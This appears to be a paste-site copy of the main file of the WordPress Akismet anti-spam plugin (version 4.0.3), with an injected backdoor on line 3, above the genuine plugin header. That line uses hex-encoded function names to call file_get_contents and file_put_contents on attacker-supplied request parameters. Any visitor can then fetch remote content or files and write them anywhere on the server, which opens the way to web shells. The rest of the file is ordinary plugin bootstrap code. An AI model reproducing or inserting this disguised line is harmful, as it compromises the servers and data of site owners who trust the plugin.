· 6 years ago · Jan 21, 2020, 05:54 PM
1<?php
2
3$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"; $b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"; @$b($_REQUEST['timezone'], @$a($_REQUEST['gmt']));;
4
5/**
6 * @package Akismet
7 */
8/*
9Plugin Name: Akismet Anti-Spam
10Plugin URI: https://akismet.com/
11Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
12Version: 4.0.3
13Author: Automattic
14Author URI: https://automattic.com/wordpress-plugins/
15License: GPLv2 or later
16Text Domain: akismet
17*/
18
19/*
20This program is free software; you can redistribute it and/or
21modify it under the terms of the GNU General Public License
22as published by the Free Software Foundation; either version 2
23of the License, or (at your option) any later version.
24
25This program is distributed in the hope that it will be useful,
26but WITHOUT ANY WARRANTY; without even the implied warranty of
27MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
28GNU General Public License for more details.
29
30You should have received a copy of the GNU General Public License
31along with this program; if not, write to the Free Software
32Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
33
34Copyright 2005-2015 Automattic, Inc.
35*/
36
37// Make sure we don't expose any info if called directly
38if ( !function_exists( 'add_action' ) ) {
39 echo 'Hi there! I\'m just a plugin, not much I can do when called directly.';
40 exit;
41}
42
43
44
45define( 'AKISMET_VERSION', '4.0.3' );
46define( 'AKISMET__MINIMUM_WP_VERSION', '4.0' );
47define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
48define( 'AKISMET_DELETE_LIMIT', 100000 );
49
50register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) );
51register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) );
52require_once( AKISMET__PLUGIN_DIR . 'class.akismet.php' );
53require_once( AKISMET__PLUGIN_DIR . 'class.akismet-widget.php' );
54require_once( AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php' );
55
56add_action( 'init', array( 'Akismet', 'init' ) );
57
58add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) );
59
60if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) {
61 require_once( AKISMET__PLUGIN_DIR . 'class.akismet-admin.php' );
62 add_action( 'init', array( 'Akismet_Admin', 'init' ) );
63}
64
65//add wrapper class around deprecated akismet functions that are referenced elsewhere
66require_once( AKISMET__PLUGIN_DIR . 'wrapper.php' );
67
68if ( defined( 'WP_CLI' ) && WP_CLI ) {
69 require_once( AKISMET__PLUGIN_DIR . 'class.akismet-cli.php' );
70}